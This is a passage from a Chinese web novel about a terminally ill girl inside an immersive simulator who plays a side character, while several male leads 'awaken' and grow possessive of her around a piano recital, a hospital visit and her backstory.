在李稚询问是不是也生病了之后,男生耳根更红了,视线飘来飘去,半天没抬眼。 直到,桌面忽然传来一声清亮的声响。 如梦初醒。 顾叙低着头,推了推杯子。 “温的,记得按点吃药。” “唔,谢谢你。”阮柚缓慢眨了下眼睫,低声说。 顾叙笑了声,没有再回话。 对话戛然。 他安静地落座,睫毛投落淡淡鸦青,情绪模糊难辨。 只拿起一本书,若无其事看了起来。 “哇唔。” 李稚眯了眯眼睛,意味不明笑起来。 不用看,阮柚知道她又在胡思乱想了。 不知为何,自上次对话来,她和顾叙相处间就在无形中酝酿着些许不自然。 也许是因为上次系统的警告声,让她不由提起了警惕。 她心想。 “那、那我先走了,阮柚。” 男生僵硬地出声,抱着文件,将萌生的心动彻底浇了个透。 他没法忽略顾叙刚刚来看来的眼神。 眉眼淡淡的,深黑不见底。像看一个多余的物件,看的他不由发怵。 阮柚:“好。” 她打开杯子,吞咽药片,直到重新盖上时,才发觉原来顾叙一直在看着自己。 ……失算。 她不动声色地放回杯子。 “苦么?” 顾叙先一步开口,嗓音寻常。 阮柚如实:“苦啊。” 现在舌间还留存着苦味呢。 顾叙像是在想什么,嗓音温柔:“既然这样,要快点好起来。阮柚,药太苦了。” 阮柚慢吞眨了眨眼睛,闻言,不自觉地蜷了蜷手指。 这句话她不由恍惚了下。 似乎听到过那句话,也许就是在不那么遥远的从前。 那时她病痛缠身,深信着每活一年就是幸运,所以每年生日许下的愿望都乏味且单调。 ——“不要再生病了,药太苦了。” 记忆似在某个瞬间,陷入短暂重合。 阮柚微吸了口气,尔后对他笑了下,“好啊,我一定一定会快些好起来的。” 顾叙颔首,静静看了她好一会儿。 原来她真正发自内心笑,是这副模样。 沉寂的系统终于在第二天重新出现。 它展开了一段原漫剧情。 阮柚大致做了复盘。 简单来说,身为女配的她需要在顾叙钢琴巡演前给宁糖使绊子,继而助推宁糖走上台焕发光彩。这是原文重头戏,也是顾叙真正对宁糖感情升温的节点之一。 但如今很多细节都对不上号。 怕什么来什么,脑海里,系统忽然道:“宿主,检测到宁糖如今还并未在现场。” 为什么? 阮柚闻言一慌,透过红色幕布的缝隙,看见端坐在席间乌泱的观众。 顾叙在最后环节,需要搭档合奏。他想到了极具天赋的宁糖。可如今,故事的女主却迟迟不按照既定原轨出现。 阮柚心下焦躁,却又不能表现出来,所以反复在心中思考对策。 一直到—— 伴随系统清脆提示音,有人从身后喊她的名字。 “阮柚?” 语气迟疑,又夹杂难言的惊喜。 “哦,是你。”听见这道声音时,阮柚简直想要开心地跳起来。但面上她还是克制住了,只淡淡回了句。 阮柚绷着唇角呀,姿态倨傲:“有事么?你怎么会在这里?” 一连串问句让宁糖愣了愣。 “因为我是钢琴社的,所以……”宁糖走了过来,弯着眼睛笑。 “唔,是钢琴社又怎么样?”阮柚抿直唇角,哼了哼,“也没什么了不起吧。” 见她偷换概念,直接上升到了群体,周围有人皱眉想要辩解。在场很多人都是社员,极具团体荣耀。 余光见话语有了成效,阮柚隐松了口气。 “阮柚,你知道我不是那个意思。” 宁糖着急解释,她不希望产生误会。“我是太开心能在这里——” “嗯,是啊。” 一道声音慢吞响起,继而,阮柚头发被人揉了揉。柔软的发梢蹭过了脖颈,磨的她痒痒地。 她僵了僵,不好的念头成形。 回头,真的是他。 顾叙今天穿得很正式,西装革履,碎发利落束在耳后,显出清隽漂亮的五官。 他笑道:“人外有人天外有天。我们都尽力而为,就好了。” 少年言辞犹如春风细雨,瞬间消融略显凝重的氛围,有着让人信服的力量。 阮柚摸了摸鼻尖,对这个发展措手不及。 她可不是这个意思呀! 宁糖他们点头如捣蒜,“没错。” 阮柚抿唇,心里一阵复杂。 但唯一值得庆幸的是,目前为止一切都按照正常的轨迹。 半晌后。 阮柚坐在了台下,百无聊赖看了眼手表的时间。 顾叙尚未登场,但偌大礼堂便几乎坐满了人。 她发现自己周围都是生面孔,但凭他们华贵气质也能窥见身份的不凡。毕竟眼睛都抬的高高的,像是从来不低头看路。 她不禁想起先前李稚的评价。 这里的老派贵族们眼高于顶,有股子生来就有的倨傲品性,但其实没什么了不起的。 阮柚对此表示赞同。 毕竟——— 她讨厌周围若有若无投来的审视目光。 正胡思乱想之际,身边视野悄然一暗。 接踵而至的是一股冷寂的雪松气息,有人在身边坐了下来。 心下意外,阮柚呼吸止不住一轻。 江净理轻声:“身体好些了吗?” “……已经好了。” 阮柚沉默了会儿,比起他本人的若无其事,自己显然不算淡定。她没想到会在这里看到他。 但转念一想。顾叙和谁关系都算不错,更不用说他相识许久的江净理了。 但她还是有些淡淡的不安。 “那就好。最近降温,要多穿一些。” 江净理面不改色,直到他发现周围飘过来的视线,才有些不悦地蹙了蹙眉。 尔后。 阮柚略有疑惑的发现,原本那些打量的目光,都不见了。 安静间,她忍不住看了江净理一眼,又恰好被对方揪了个正着。 他忽然意味不明地笑了声。 阮柚摸了下鼻尖,干巴巴地寒暄了句,“啊,你也来看顾叙的演出呀。” 或许是身边人存在感太强,即使身处人潮,阮柚依旧没办法忽略他的存在。 虽然她实在不知道该说些什么。 江净理没有立刻搭话。 他掀起眼皮,眸色静静流转光彩,不知在想些什么。 正当阮柚以为他不会回答时,忽地,听见身侧少年慢吞开口,似有些无奈叹了口气,“我只是想见你,阮柚。” 闻言,阮柚一愣。 恰在此时,人群一阵热闹的窸窣。 “顾叙终于出来了。” “真的好帅啊!顾叙,顾叙!” “啊啊啊,他好像看过来了!” 阮柚下意识地抬起了眼睛,后知后觉间,她感觉自己似乎遗漏了什么很重要的事情。 但她已经来不及去想,因为系统的警告声在她耳畔剧烈跳动。 不期间,阮柚似乎对上了顾叙的眼睛。 少年端坐在台中央,周遭光线宛若羽毛般漂浮在边缘,静地像一副漂亮无瑕的油画。 四目交接后。 少年无知无觉移开视线,眸色淡淡,仿佛连对视只是个意外。 而系统警告声却未曾停息,反复拉扯过心弦。 “检测到剧情有重大偏转,检测到剧情有重大偏转,请宿主及时矫正、请宿主及时矫正。” 第50章 第五十章 觉醒完+真相篇开头 听见系统急促的提示音, 阮柚不由慌乱几分。 她望向顾叙。 少年眉眼淡淡,坐在钢琴前矜贵又漂亮,看不出任何异样的存在。 明明没什么变化, 她需要矫正什么? 阮柚蜷了蜷手指,百思不得其解。 她坐在那里,本能掩藏着情绪, 因为她没忘记身边还做着江净理, 在她眼里可能存在的变数。 正当她沉默时,身侧冷不丁地传来声音。 明明只隔着一个座椅扶手, 江净理却仍是偏过头,极专注地询问,“很热吗?” 他声线清越,骤然在耳畔响起, 让她不由地颤了颤睫毛。 脸颊隐约触及陌生的气息,不远不近, 却莫名忽略不了它的存在, 阮柚下意识抓了下扶手, 肩膀一移, 便正对上他的眼睛。 江净理则笑开, 等她搭话。 “…我不热。”阮柚缓缓神,鼻间微微呼出一口气。 她不知道江净理为什么要问这个问题。但是她也并没有问,因为眼下有更重要的事情。 “我有些热。” 江净理掀起眼皮, 意兴阑珊, “人太多了, 我想出去透透气。” “去吧。” 阮柚没意见。 “你想陪我么?” 他问。 “你说呢。” 她当然不想了! 江净理扯唇笑了下,对这个答案不见意外,只是在最后看了她一眼, 又没说什么话。 瞥了眼他离去的背影,阮柚抿抿唇,有些茫然地看着台上。 顾叙钢琴弹的无可挑剔,连灯光都极照顾他,晕在颈线宛若漂亮出尘的天使。 一切似乎进展顺利,除了耳畔边始终未曾消停的提示音。 让她颇为坐立难安。 一直到—— 系统:“检测到重要人物成玉已偏离原有轨迹,请宿主及时纠正。” 接收到系统全部的信息后,阮柚心头忽的一乱,猛的站了起来。 顾叙再抬眸,只看见少女离开的背影。 她跑的很快,纤细到单薄的身影渐行渐远,直到他停住了弹奏,也没有一次回头。 周围声音嘈杂而细碎,反反复复撞击耳膜,如骤雨敲在心房。仿佛他总是如此,漫无边界的等待,从黎明到黑夜,最后只换来了一场空。 那是从什么时候开始的呢? 好像… 又不止一次。 少年抬了抬下颌,脑海像是断了根弦,灰眸露出淡淡茫然。 直到有人小跑着上台提醒,才重新回神。 宁糖心里紧张极了。 顾叙忽然安静引来台下压不住的议论,没人知道他在想什么,也没人敢轻易打扰。 只有宁糖鼓起勇气过来了,因为她莫名想起阮柚刚才的话,必要时候一定要帮顾叙。 “你们不都是钢琴社团的么?互帮互助什么的都是应该的吧。” 说话时,少女腔调懒洋洋的,但却莫名地让她听了进去。 宁糖小声地提醒他。 很快,顾叙笑了下,“原来是这样。” 他一顿,“她让你来的么。” “嗯?” 宁糖不明所以。 顾叙神色未变:“既然如此,你替我完成接下来的曲目吧。” 宁糖一怔,不明白他的意思。 而顾叙则坐起了身,垂了垂睫,没什么情绪地轻下声,“如果这是她想要的结果。” 他轻笑,“那我就成全好了。” — 医院。 少年脸色苍白,浑身都挂着伤,却全程硬是没吭一声,连医生都赞赏地看了一眼。 小伙子,还挺能忍。 高级病房内,空气静谧无比。 成尧蹙眉,半晌开口道,“如果你不是成家人,那你就什么都不是。” 光线扫过空气漂浮的微粒,在成玉脸上投下忽明忽暗的光。 他眼皮松了松,嘲讽看了过去,“可我是。” 即使他多希望不是。 安静病房里,剑拔弩张跟着无声无息。成尧很轻地扯了扯唇,金丝边眼镜下,一双同他七分相似的眼睛微微眯起,全然淡漠。 “你以前不是挺好的么?” 他不在乎地笑,像看一个长不大的孩子,“装作什么都不懂的样子,讨好所有大人。” 成玉:“滚。” 成尧立在那,手指缓慢拨过尾戒:“看来你很喜欢那个小姑娘,对吧?” “为了她,用这么不划算的伎俩。” 成玉仰了仰头,他知道他想说什么。 他们流着相似的血,看似经过精心修剪后生长,内里却不知从何时起,早已经腐烂掉了。 为了得到想要的,可以不择手段。 那就抢来吧。 你不是最怕,她离开你么? 压抑许久的声音在心底隐约抬头,发出了蛊惑似的回声,又在脑海生生地按下,只剩嗡嗡长鸣。 隔了几秒,成玉忽的冷笑:“你还没资格提她。” 阮柚没想到再见成玉是在医院。兜兜转转,似乎回到了原点,只不过如今进医院的是他。 而被他救的人,竟然是小阮时。 听完系统难得严肃的叙述,阮柚心情颇为复杂。 她不知道成玉为什么会和小阮时有联系。也不知道,为什么已经有觉醒迹象的成玉,会前去救一位几乎素未蒙面的小孩。 阮柚并不相信这是巧合。 总觉得冥冥之中,仿佛有什么不可抗力牵扯着一条线。 于是站在房门前,阮柚犹豫半天,直到护士路过好奇地问了句。 似听见了动静,隔着一层虚掩的门框,一道男声传了出来,“是你么,学姐。” 阮柚心跳一空。 她想,既然躲不过,那就按照系统说的,去确定他的身体状态好了。 主要人物是不能轻易受伤的,因为会涉及到许多后续剧情,如今成玉已经觉醒,所谓的“修正”功能早已经对他失去效果,他也成了最难以掌控的变数之一。 硬着头皮进去时,余光却发现还有一人。男人身量高挑,穿着考究的高定黑西,气质沉稳莫测。 他肩膀半靠墙壁,见人来了,才微微站起身,维持着几分得体礼数。 阮柚想了半天,才想到是谁。 是成玉关系不太好的哥哥。 难怪,这里气氛有些说不出的怪。 “既然等来想等的人,那我就不打扰了。” 成尧启唇,若有若无看了阮柚一眼,就转身离开了。 只剩下淡淡的古龙香水味,依旧留存在空气。 阮柚抿紧唇,才正式望向病床中央的人。 几日不见,成玉又添新伤。偏偏本人无知无觉,静坐在那里,眼眸里聚拢专注神采。 她想起阮时说的话。 是他从一群恶棍那里救了小阮时。出狱后的阮父除了酒瘾,也几乎好赌成性,招惹的恶果不计其数,像彻底失了智一般。 有时候阮柚也在想,按照漫画设定,阮父可能就是当之无愧的反派,毫无弧光可言,坏的彻彻底底。 江净理答应她会摆平,也的确做的很好。 可百密总会有一疏,追债人换了一波又一波,终于还是有人找到还在上学的小阮时。 他们说,父债子偿。 成玉恹恹气息一扫而空:“你终于肯来见我了。” “谢谢你救了他。”阮柚蜷了蜷手指,终问,“你为什么…” 要这么做。 她张了张嘴唇,发现自己有些问不出声。 成玉眼眸深黑,自始至终都在看着她,极度专注炙热。 阮柚咬唇,一时失了语。她觉得成玉感情来地莫名其妙。即使是人物觉醒了,也不该对她流露这样的神情。 这样看她,就仿佛他们经历了很多一般,那么深刻。但实际上并没有。 这么突兀异常,她自然不知该招架。 她呼了口气,想通了些,“所以关于我的一切,你都知道了么。” 阮柚想了会儿,索性开门见山。 “嗯。” 成玉阂了阂眼皮,喉结轻滚了下。他不想她站的那么远,姿态那么疏离,可又担心自己会像之前那样吓到她,将他越推越远。 他无法接受。 见成玉这么干脆承认了,阮柚轻眨了下眼,竟又说不出话了。 成玉笑开:“你是来特意见我的么?” 阮柚再度对上他的视线,他那么地期待与喜悦,仿佛她能来,就是多大的惊喜般。 就因如此,她没有办法再走近一步。 阮柚摇了摇头,嗓音清泠泠地,“成玉,我只是来看看你怎么样,看完我就离开了。” 无视少年忽的清寂下的眸色,阮柚干脆心一横,“之前的事我可以选择忘记。” “如果你还……” 她顿了下,认真定定心神,“成玉,我真的不喜欢你。” 成玉静了会儿,问,“那你喜欢谁?” 少年静坐床边,无知无觉被窗边阳光照着,透出过分苍白的皮肤。 他一瞬不瞬看她,眼里是她看不懂的情绪,也许是某种执着、甚至是无休无止,到了偏执的地步。 “是江净理,还是顾叙?”成玉极认真地问,伤口在唇角边尤其显眼,像一幅漂亮失真的木偶,过分的秾艳绮丽。 阮柚被倏然烫了下,悄然后退了半步。 “没有任何人,只是这样。” 她抬眸,解释的很快。 而且,为什么要提起他们? 这幕落在少年眼底,却多了层别样的意味。他低头,掩下忽明忽暗的情绪,再看向了她,面露些许祈求 “所以不要喜欢别人好不好,学姐。” 他没办法承受这样的痛苦,只要一想起来,就快要疯掉了。 凭什么 凭什么是他们,凭什么不是自己。 看看他吧。 或者,让他可以一直看着她吧。 明明,被她选择的人是他啊。 察觉到成玉异样,阮柚心脏砰砰直跳,她几乎从未见过成玉这幅模样,颓然又茫然,似想要紧握最后的悬木般,近乎渴求地看向她。少年流露出几乎脆弱的神色,将自己所有软肋拱手奉上。 可却依旧没能打动分毫。 阮柚思绪很乱,没想过成玉会这样,但本能地明白自己再停在这里已经没有意义。她没办法给他想要的回应。成玉想要那个人,从来也不该是自己。 阮柚转过身离开,但走了没几步,身后忽然传来仓促失序的脚步声。 她心头一紧,下一秒,便落入一个滚热的怀抱。少年头微低着,双手紧锢过她的肩膀,胸腔微微颤动,于鼻间叠落下压抑极致的吐息。 混乱灼热,又藏不住地痛苦。 而后,他开口说,“我真的不能再失去你了,阮柚,我不能没有你。” 那道声音如电流般穿透过来,阮柚忽然地停了挣扎,生出几分不合时宜的茫然不解。 为什么要这么说? 所谓的失去,究竟是什么意思- 阮柚在小跑回去的路上,听见了系统任务完成的提醒。 天边聚拢的云雾遮过了阳光,阴沉沉地,隐约呈变天迹象。 系统告知他,任务虽完成了,却并不完美。 宁糖展露出应有的光彩,收获掌声同时,却并没有顾叙坐在身侧。 中途,他不知所踪。 一向守礼得体的少年忽的做出这样“离经叛道”的事情,引来众说纷纭,却也无人参与抱怨。 因为他看起来太疲惫了,连轴转的巡演自然耗费心神,离开时,那道清瘦孤寂背影成了许多人怜爱的引子。 阮柚在这时生出了内疚。 后知后觉间,她莫名想起顾叙带笑的眉眼,他温柔地说,“我真的很期待你能来。” 她答应了。 但却没有能信守承诺。 姗姗来迟跑去大礼堂时,那里已经空无一人,只余下一道冷清的光影,无声描摹黑白的钢琴。 人去楼空,尽显寥落。 阮柚有些失落的垂了垂眼,对着静谧空气,先前混乱的心跳渐渐平息下来。她一个人站了许久,一直到,身后传来一道熟悉的声音。 声音很轻,像是因期望过度而衍生的错觉,阮柚循声望去时,还存着不确定的情绪。 尔后,同来人四目相接。 她怔了怔。 顾叙长身鹤立,清隽眉眼不沾染分毫情绪,空洞而茫然,只在对视时,才缓慢转了转眼珠。 他立在舞台幕布边缘,安静至极,不知在这里停留了多久。 阮柚心间滑过几分异样。 “阮柚,你回来了。”顾叙朝她走过来,唇角勾起浅浅的弧度。 像刚才那位看起来没有灵魂的他,只是她恍惚生出的错觉而已。 “对不起,我中途有事离开了,没能兑现承诺。” 阮柚敛了敛眸,有些不太敢面对现在的他。 她把这归咎于内疚。 而低头时,手指犹如触电般,忽然落入一双冰凉的手里。 “没关系,我永远不会怪你。” 顾叙嗓音轻淡,若无其事地牵起她的手,带她来到了钢琴前。 “我想给你听一下,这首曲子。” 柔和光晕扫下,少年皮肤冷白,灰眸潋滟温柔的光彩,动作像演练无数般习以为常。 可阮柚却非常明白,这是不对的。她心中怪异更甚,细细麻麻如针扎似拂过皮肤,想要抽开手,却被严丝合缝地握在了掌心里。 少年分明的骨节膈着她的皮肤,明明很凉,她却似乎能感受到对方血液流动的滚烫,就这么融在她的指尖。 阮柚呼吸一错,看着顾叙安静的侧脸,忍不住出声道,“顾叙,你先放开我…” 顾叙掀了掀睫毛,似乎想到什么,眸色漆黑冷清。他很明白自己在做什么。甚至,在握住她手的那一刻,生出了分明的欢喜。 那一刻,他承认自己的卑劣。 近乎豁然开朗那刻,有道阴影虚虚映照过来,它拨开本就摇摇欲坠的虚无假象,只余留下极致到了深刻的情绪。 爱情本该就夹杂卑劣、欲望、贪婪、痴念。 他本就爱她。 很久很久以前,他就爱她。 为什么,他现在才敢承认呢? 少年弯折下脖颈线,清瘦漂亮的手指时轻时重跃动,犹如虔诚亲吻过黑白琴键。他演奏的曲目却是冷清庄重,隐约漂浮过绝望仓皇的嘶鸣,像极了泣泪绝唱的荆棘鸟。 义无反顾奔向终结。 阮柚呼吸错乱极了,坐的僵硬难安,第一次不敢去对视他的眼睛。即使依旧温柔,却那么陌生。 而正当她迟钝慌神时,顾叙再度握住了她,曲起的指节因她的闪躲而上落,最终轻柔柔抚过垂在肩头的发丝。 阮柚颤了颤睫毛,却听他继续说了下去。 “很久前,我就想为你弹了。” 顾叙温柔笑了下,徐缓气息落在了她的脸颊,提示着过分靠近的距离。 阮柚唔了声,想要站起身,却忽然僵了一瞬,睫毛低颤,脑海是空白一片。 少年冰凉的薄唇落在了她耳廓,沿着皮肤细腻纹路,招惹出丝缕沁骨的战栗。他压了压鸦羽般的睫毛,顺着骤然推开的力道而直起身,无知无觉地笑了起来。 “这样就不会有别人的气息了。” 只有你和我。 她的名字,他念了无数遍。 有时在梦里,有时在现实,即使不总听见回应,他依旧不知疲倦,嗓音温柔至极,犹如蛊人的情话,“阮柚。” 阮柚登时站了起来,心跳如阵阵擂鼓,收缩过一团乱麻的情绪。她的耳廓热到滚烫,陌生冷香余存身侧,提醒她刚才的事切切实实发生了。 不是假象,也不是错觉。 切切实实,他吻了过来。 而恰在此时。 系统迟滞上了线,不间歇发出刺耳的警告。 “检测到重要人物顾叙已经觉醒,请宿主注意!检测到重要人物顾叙已经觉醒,请宿主注意!” 阮柚无声张了张唇,后退着,又不期再度同他对上视线。 舞台冷白光线之下,钢琴前的少年微仰下颌,笑地唇红齿白,一如最初- 顾叙第一次见她,是在江家举行的名流宴会。 老牌的上流贵族最讲求维持表面的华贵,纵然内里早就盈满败絮,徘徊在分崩离析的边缘,但依旧不忘凸显优越——看,我们江家人,流着这里最尊贵纯粹的血,和你们这些后起之秀一点也不一样。 他厌倦抬了抬眼皮,看了眼觥筹交错的舞厅。 身份再矜贵又怎么样呢? 他们都是缺少共情力的疯子,无一例外。 而顾叙就是在这时,偶尔发现那人的。 少女明眸善睐,穿着不怎么合身的瑰色礼服,裸露在外的皮肤白的透净细腻,像一株轻柔剥开的漂亮花蕊。 她眉眼笑盈盈的,明明站在角落里,却和所有人看起来不一样,充满鲜活的生机。 顾叙就这么看着他,直至冰冷酒水溢在指缝,才缓慢地回过神。 而这时,宴会的主人公江净理姗姗来迟,迈步走到她面前。 一向喜怒不形于色的少年难得笑了下,却又很快收了回去,情绪无影无踪。 他似乎说了什么,惹来少女不满地皱眉,眼眸亮了又灭,耷拉着小脑袋跟在他身后。 最终两人同他渐行渐远。 原来是别人的世界啊。 顾叙很少会关心旁人的事,但是在那时候,他第一次,在心里产生出了些许的不满。 他想,如果是他,他一定会很温柔地和她说话,让她开心起来。 如果是他,他不会给他穿不合身的裙子,让她孤身一人。 如果是他,他不会让她陷入漫长等待,而是走向她,为她弹奏她喜欢的琴曲。 那时,他不知道自己为什么会想这么多。 而直到后来—— 他才意识到,那种情绪,名为嫉妒。 因为得不到那束美好,而生出的嫉妒。 也许上天听到了他内心的祈祷。 在听闻江家少爷丢失最心爱的“珍宝”,几乎发疯地翻找遍整个大陆时,他表现地无动于衷,却在某天醒来后,毫无征兆遇见了她。 而这次,她从一行人里朝他走近,伸出一只白皙柔软的手,笑得纯真而烂漫。 顾叙几乎忘了呼吸,只凝起一个念头。 原来她也会为他而来。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 第五十一章 真相篇|蔷薇的名义|江…… 五十一章 阮柚有一面非常喜欢的镜子。 春去秋来, 她总会自己踱步到镜子前,认真观察自己的变化。 镜子里的人,犹如窗边风景, 随时间日日枯萎。 如今更是过分苍白脆弱,一双杏眼提不起情绪,毫无生机色彩。 但每当这时候, 哥哥会来到她身后, 夸她怎么会这样漂亮。 是呀,哥哥永远都不会骗她的。 她就是很漂亮。 不然, 她怎么会这么想要记住自己的样子呢? 疗养病房空旷寂寥,窗前散落几片栀子花瓣,是哥哥放上去的,他说栀子花开了, 并承诺,在她病好转后会带她亲自去看看。 彼时, 阮柚倦怠掀了掀眼皮, 频率极慢, 像在望着它们发呆。 一向身为女强人的母亲忽然看不下去了。她猛的转过身, 仰了仰头, 在旁人看不见的角度努力咽下了泪意。 明明无人说话,却在蔓延悲伤。 盛夏蝉鸣阵阵,绿意鲜活流淌。 哥哥顺着看她视线停留的方向, 那是一扇推开的窗, 有云霞日落, 有盎然绿意,也有自由展翅的倦鸟。 他闭了闭眼,忽然就说不出话了。 是啊, 他的妹妹那么小,在那么向往自由的年纪,却要被迫承受病痛,囿于冰冷测频的医疗器械。 她还什么都还没有看过呢。 没真正看过山海,听过鲜活人潮,没有体验过友情、收获青春热烈的感动。 现在,却要对着注定沉淀的沙漏,兀自等待着枯萎。 好不公平啊。 阮柚是在十分稀疏平常的一天,得到了哥哥为她精心准备的礼物。 那天… 她静了静,尝试着回忆一番。 除了风和日丽,阳光过分灿烂耀眼,其实没什么特别的。 周身骨头筋脉如凿穿一般发出了抽痛,震颤过麻木许久的神经,让她久久没有入睡。 阮柚是个很乖的孩子,能忍受常人难以承受的痛哭,却还是笑盈盈地,反过来安慰难受的家人。 她做过最坏最坏的事,就是在小时候听过闲言碎语后,推开哥哥伸过来的手,哭着问,为什么只有我这样呢? 那时哥哥沉默了很久,久到她开始产生了愧疚。 直到他抱住了她,安静流下了眼泪。 亲情啊,多么温暖的宿命羁绊。 他们的陪伴从来都不需要明码标价,只是因为来时有你,归去时,也该同样如此。 她其实从不孤单。 有他们,就足够了。 哥哥却为了让她打发时间,带来了公司里最新研发的沉浸式模拟器。 他对她说,“你可以经历你想要经历的一切,忘记一切的忧愁。” 阮柚很感兴趣。 沉寂许久的内心生出了几分波动,她望向哥哥,表现出让他心安的欢喜。 染红的夕阳下,她笑着说—— “我不想成为他们都喜欢的主角。” “如果我注定会离开,那他们为什么要爱我呢?” 哥哥眼眶微红。 他想说,她能够出现在他们的生命里,本身就是一种美好。 谁又会舍得遗忘呢。 — 阮柚第一次,在三个选项里,选择了[蔷薇的名义]。 她喜欢蔷薇花,她深觉得,它有种浓墨重彩的美丽。 但她不忘注意到下面介绍的金色小字。 “华丽的背后,总布满死气沉沉的阴影。” 这是一个她没经历过的世界观。 这里阶级分明,又充盈纸醉金迷。 江家庄园依山傍水,环境华贵而雅致。 午后光束映照在了纯白围墙,庄严到让人难以直视过去。有缕风继续吹,徐缓拂过了红色的蔷薇海,几乎染深她的瞳孔。 阮柚在沉默时,断续听见佣人们刻意压低的议论。 “家主对夫人真好,为了让她开心,特意空运过来花种,即使在这个时节,也能看到这么美的蔷薇。” “所以啊,我说过爱情能战胜花期。” “哎呀,你真肉麻——” “可你们,真的觉得她幸福么?我怎么觉得,他们没有一个人,是真正开心的。” 在最后,有人轻轻地叹息。 阮柚是江家花匠的女儿,自小在这里长大,却因为一场连续三日的发烧,失去了很多过往记忆。 江家是最为底蕴深厚的老牌贵族之一,极具声望,也坐拥着用不尽的财富,连带这里的佣人女仆,都穿的精美而得体,脑袋扬地高高的。 他们以在这里工作为荣。 “我听说,少爷昨天又失眠了。” “少爷那么优秀,怎么会为睡觉烦恼呢?闭上眼睛什么都不想不就行了。“ “你以为他是你呀,好吃懒做,头脑空空。” 阮柚闻言,略略吐了吐舌头。 她的长发被蓝丝带绑成了高高的马尾,随着奔跑而晃动,轻灵极了。 在闲暇的功夫,几位年纪相仿的佣人约定了玩捉迷藏,却在阮柚将眼睛蒙上之后,默契地对视了一眼。 之后,各奔东西。 任凭少女一个人对着空气开心摸索,不知疲倦。 隔着长空,年长的佣人见状叹了一口气。 旁观者清,少女心思单纯,似乎天生缺一根筋,即使被别人欺负了也不知道,永远明媚,热情像浇不灭的火焰。 她并未多管闲事。因为眼下,明显有更重要的事情。 小少爷失眠症日益严重,他开始出现头疼幻觉的症状,变地愈发喜怒无常。 他的生气不像是家主全摆在脸上,只是眉目漠然,漆黑情绪空洞无声,让人很难捉摸参透。所以比起家主,她们反而更怵这样的小少爷。 江净理是江家最期待的孩子。集万千宠爱于一身,却唯独不受父母爱护与关注。 他的父亲选择漠视她。 而他的母亲,则是厌恶他。 阮柚找呀找,一直找了许久许久,还是没有找到人。 回应她的是一片死一般的寂静。 鼻息之间,仿佛飘来了清冷朦胧的花香,她下意识迈开走了几步,却因为看不见,直直跌落在地面。 嘶—— 膝盖后知后觉有了生涩的疼痛,在摘下眼罩时,阮柚听见了逼近的脚步声。 一只温暖的大手将她扶起。 “小姑娘,你没事吧?” 阮柚松了松眼皮,是一位年轻的女仆,胸前戴着家徽,举手投足都透着温柔。 她摇了摇脑袋,膝盖处却冒出零星鲜血。 再度对上视线,阮柚有些不好意思地弯了弯唇角。 女仆神色依旧,还未开口,身后响起了一道温柔平和的女声,“——阿悦,怎么了?” 阮柚被这名叫做阿悦的女仆带到了那人面前。她才发现,原来还有这么温柔优雅的人。 端坐在轮椅上的女人眉眼如画,笑起来漂亮极了,像沐浴过春风般,与一切美好挂钩。 阮柚心里一暖,本能想要同她靠近些。 女人伸手摸了摸阮柚的头发,夸她好坚强啊。 阮柚弯唇笑开,这点痛根本不算什么的,她经历过…经历过… 她经历过什么呢? 怎么也想不起来了呢。 阮柚无声张了张唇,话说了一半停了,茫然放缓的神情却将女人忽的逗笑了。 阿悦似乎一下子也开心起来,看了阮柚好一眼。 女人温柔注视她的眼睛,“还是要包扎一下的,可不能轻易留疤。” 她吩咐旁人为阮柚处理好膝盖的伤。 阮柚这才后知后觉意识到,面前人不是旁人,正是传闻里体弱多病、善良优雅的女主人。 阮柚低头,恍惚想起了佣人间私下讨论的传闻。 “女主人真的好冷漠啊,连少爷不小心踩空楼梯,都不闻不问地走开。” 这么温柔的人,怎么会冷漠呢? 阮柚轻快地眨了眨睫毛,乖巧地注视着她,心里生出些许孺慕。 她才不相信别人的话呢。 少女即使再笨再迟钝,也能凭借直觉模糊意识到,在这里没人对她这么细心爱护过。她像是森林里的小精灵,自由自在游荡山野,不加修饰地野蛮生长。 临走之前,女主人送给她一株蔷薇花,“我忽然觉得,你才是最适合它的人。” 明艳灵动的生长,不拘于任何束缚。 她向往于这样的美好,因而,没由来地产生想要同这个小姑娘亲近的念头。 感受到一股疏远的忧伤,身侧阿悦欲言又止,最后忍不住在心底叹息。 阮柚很爱护地接过了蔷薇花,笑得弯起了眼睛。她会很小心很小心的保管它的,一定。 她在心底暗自发誓。 却在分离后没多久,在花园绿藤游廊的尽头遇见一位陌生少年。 少年生的极好看,一双狭长眼睛犹如矜贵黑玉,安静流连过细碎的光芒。 他的皮肤冷白,被风吹乱的碎发下,一颗漆色泪痣尤其显眼,为他的神情徒增几分了苍白的倨傲。 他静立在那里,落下的长影几乎融于地面的树影,不知已经站了多久。 明明年纪俨然不大,周身气质却是清寒地不像话,让阮柚不知觉停下步伐,选择望向他的方向。 一股异样滑过了心头,又极快消弭,好似不曾存在。 周遭风声渐起,缓慢吹拂了她的衣角。 阮柚低了低睫,小心翼翼护好手心的蔷薇花。 隔了几秒钟,她听见对方似乎在说话,却因为风声含混耳边,一时未能听清。 “什么?” 阮柚闻声抬头,歪了歪脑袋。 应该在和她话吧,因为现在这里只有她和他。 江净理目光从她手心离开,神情恢复如常。 再度四目交接后。 他转开了脸,深黑睫毛微颤过阴影,嗓音空冷,“——你过来。” 他在最后换了个说辞。 不再是“拿过来”,而是“你过来” 因为他似乎发现了更值得浪费时间的乐趣。 第52章 第五十二章 真相篇|江 阮柚成了跟在江净理身边的小女仆。 她年龄小, 心思不够沉稳,说“小女仆”三个字形容并不怎么恰当,一伙人提及讨论时, 总默默羡慕她的好运气。 在他们眼里,阮柚是被小少爷亲自挑选中的玩伴。 何其幸运。 何其有福气。 懵懵懂懂间,女仆长为她整理好不多的行李, 她依旧不假辞色, 却在临走前,为她绑好略松的发带。 “到那里, 一定要更听话一些啊。” 阮柚唔了声,将话记下了。 她的心里升起几分疑惑,明明她不是别人口里说的远行,只是换了个房间罢了, 为什么他们都要摆出离别姿态呢? 她还在这里呀。 连她的好朋友晓愿,都丢开玩乐的心, 跑过来和她告别。 望着对方红肿的眼皮, 阮柚拥抱了他一下, 忍不住道, “别难过了, 我们以后又不是再也不见面了。” 晓愿眼神闪烁几分,闷声道,“阮柚, 对不起。在我心里, 你是我最好的朋友。” 阮柚缓慢眨了下眼睛, 听到最后一句话,心里暖融融的。 她很开心能成为别人最好的朋友。 路过的女佣笑笑,果然不管多大的年纪, 人心总是复杂多变的呢。连她也不禁意外,往日里带头欺负少女的坏男孩,在最后竟是最舍不得她离开的人。 